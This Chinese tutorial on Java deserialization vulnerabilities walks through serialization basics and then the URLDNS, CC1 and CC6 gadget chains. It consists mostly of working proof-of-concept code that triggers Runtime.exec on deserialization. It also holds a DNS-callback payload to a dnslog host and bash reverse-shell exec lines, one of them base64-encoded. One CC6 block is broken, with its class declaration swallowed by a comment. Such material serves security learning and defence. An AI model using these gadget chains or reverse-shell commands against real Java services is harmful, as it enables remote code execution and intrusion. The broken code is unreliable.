JAVA反序列化漏洞基础

ObjectOutputStream

package com.test;
public class Employee implements java.io.Serializable{
    public String name;
    public String address;
    public transient int age; // transient瞬态修饰成员,不会被序列化
    public void addressCheck()
    {
        System.out.println("Address check : " + name + " -- " + address+" -- "+age);
        //此处省略tostring等方法
    }

    @Override
    public String toString() {
        return "Employee{" +
                "name='" + name + '\'' +
                ", address='" + address + '\'' +
                ", age=" + age +
                '}';
    }
}
import com.test.Employee;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializeDemo {
    public static void main(String[] args) throws IOException
    {
        Employee e = new Employee();
        e.name = "zhangsan";
        e.age = 20;
        e.address = "shenzhen";
// 1.创建序列化流
        try(ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));) {
            outputStream.writeObject(e);
            // 2.写出对象
        }catch (IOException e1)
        {
            e1.printStackTrace();
        }
// 3.释放资源
    }
}

ObjectInputStream

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class DeserializeDemo {
    public static void main(String[] args) throws IOException,
            ClassNotFoundException {
// 1.创建反序列化流
        FileInputStream fileInputStream = new FileInputStream("ser.txt");
        ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
// 2.使用ObjectInputStream中的readObject读取一个对象
        Object o = inputStream.readObject();
// 3.释放资源
        inputStream.close();
        fileInputStream.close();
        System.out.println(o);
    }
}

Employee{name=‘zhangsan’, address=‘shenzhen’, age=0}

反序列化漏洞的基本原理

import java.io.*;
public class demon {
    public static void main(String args[]) throws Exception{
//序列化
//定义myObj对象
        MyObject myObj = new MyObject();
        myObj.name = "hi";
//创建一个包含对象进行反序列化信息的”object”数据文件
        ObjectOutputStream os = new ObjectOutputStream(new
                FileOutputStream("object"));
//writeObject()方法将myObj对象写入object文件
        os.writeObject(myObj);
        os.close();
//反序列化
//从文件中反序列化obj对象
        ObjectInputStream ois = new ObjectInputStream(new
                FileInputStream("object"));
//恢复对象
        MyObject objectFromDisk = (MyObject)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
    }
    static class MyObject implements Serializable {
        public String name;
        //重写readObject()方法
        private void readObject(java.io.ObjectInputStream in) throws IOException,
                ClassNotFoundException{
//执行默认的readObject()方法
            in.defaultReadObject();
//执行打开计算器程序命令
            Runtime.getRuntime().exec("calc.exe");
        }
    }
}

serialVersionUID

private static final long serialVersionUID = 1L;

显示声明serialVersionUID可以避免对象不一致

URLDNS链

URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存

在什么版本限制。

使⽤Java内置的类构造,对第三⽅库没有依赖

在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

利用过程如下

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()[->hash(key)]
 *           URL.hashCode()->handler.hashCode
 				URLStreamHandler.getHostAddress(u);
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest
{
    public static void main(String[] args) throws Exception {
        HashMap<URL,Integer> hashmap =new HashMap<URL,Integer>();
        URL url = new URL("http://sqn851.dnslog.cn");
        Class c = url.getClass();
        Field fieldhashcode=c.getDeclaredField("hashCode");
        fieldhashcode.setAccessible(true);
        fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1
        hashmap.put(url,2);
        fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
        serialize(hashmap);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new
                FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
}
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class RrefilectDns{
    public static void main(String[] args) throws Exception{
        unserialize();
    }
    public static void unserialize() throws IOException, ClassNotFoundException
    {
        ObjectInputStream ois = new ObjectInputStream(new
                FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }
}

hashcode计算,判断如果不是-1,则直接返回,表示已经算过了,是-1则继续计算

我们在序列化时通过反射修改hashCode的值是为了避免序列化生成payload时触发解析造成混淆影响判断

Runtime.getRuntime().exec 获取反弹shell

Runtime.getRuntime().exec
    ("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/8888 0>&1");

Runtime.getRuntime().exec
    ("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");

命令执行基础

package com.yxxx.javasec.deserialize;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
public class test {
    public static void main(String[] args) throws IOException {
        Runtime r = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    }
}

cc1

transformedmap

调用链
ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                MapEntry.setValue()
                    TransformedMap.checkSetValue()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
POC
package com.superman;
 import org.apache.commons.collections.Transformer;
 import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.TransformedMap;
 import java.io.*;
 import java.lang.annotation.Target;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.Map;
 public class CC1Test {
     public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
         Transformer[] transformers = new Transformer[]{
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
         };
         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 
         HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
         hashMap.put("value","2");
         Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
         Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
         Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
         constructor.setAccessible(true);
         Object o = constructor.newInstance(Target.class, decorate);
         //serialize(o);
         unserialize("C://ser.txt");
 
     }
     public static void serialize(Object obj) throws IOException {
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("C://ser.txt"));
         objectOutputStream.writeObject(obj);
         objectOutputStream.close();
     }
 
     public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
         ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
         Object object = objectInputStream.readObject();
         return object;
     }
 } 
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class poc {
    public static Object generatePayload() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
        };               //这里和我上面说的有一点点不同,因为Runtime.getRuntime()没有实现Serializable接⼝,所以这里用的Runtime.class。class类实现了serializable接⼝

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innermap = new HashMap();
        innermap.put("value", "xxx");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
        //通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //这里需要设置Accessible为true,否则序列化失败
        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象
        Object instance = ctor.newInstance(Retention.class, outmap);
        return instance;
    }

    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

lazymap

调用链
ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
POC
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

public class CommonCollections12 {
    public static Object generatePayload() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "xxx");
        Map outmap = LazyMap.decorate(innermap,transformerChain);
        //通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //这里需要设置Accessible为true,否则序列化失败
        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象
        InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);
        Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);
        Object instance = ctor.newInstance(Retention.class, mapProxy);

        return instance;
    }
    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

cc6

CC1 链的时候要求是比较严格的。要求的环境为jdk8u65Commons-Collections 3.2.1

如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS

import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
import java.util.Map;  
  
// CC6 链最终 EXPpublic class FinalCC6EXP 
    public static void main(String[] args) throws Exception{  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
 HashMap<Object, Object> hashMap = new HashMap<>();  
 Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器  
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  
 HashMap<Object, Object> expMap = new HashMap<>();  
 expMap.put(tiedMapEntry, "value");  
  
 // 在 put 之后通过反射修改值  
 Class<LazyMap> lazyMapClass = LazyMap.class;  
 Field factoryField = lazyMapClass.getDeclaredField("factory");  
 factoryField.setAccessible(true);  
 factoryField.set(lazyMapClass, chainedTransformer);  
  
 serialize(expMap);  
 unserialize("ser.bin");  
 }  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
 oos.writeObject(obj);  
 }  
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
 Object obj = ois.readObject();  
 return obj;  
 }  
}
package cc6.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<Object,Object>();
        Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

        HashMap<Object,Object> map2 = new HashMap<>();

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

        map2.put(tiedMapEntry,"bbb");
        map.remove("aaa");

        Class c = LazyMap.class;
        Field fieldfactory = c.getDeclaredField("factory");
        fieldfactory.setAccessible(true);
        fieldfactory.set(lazymap,chainedTransformer);
        serialize(map2);
        unserialize("web.bin");
    }
    public static void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream(filename);
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
    }
}

你可能感兴趣的:(#,java,java,jvm,开发语言)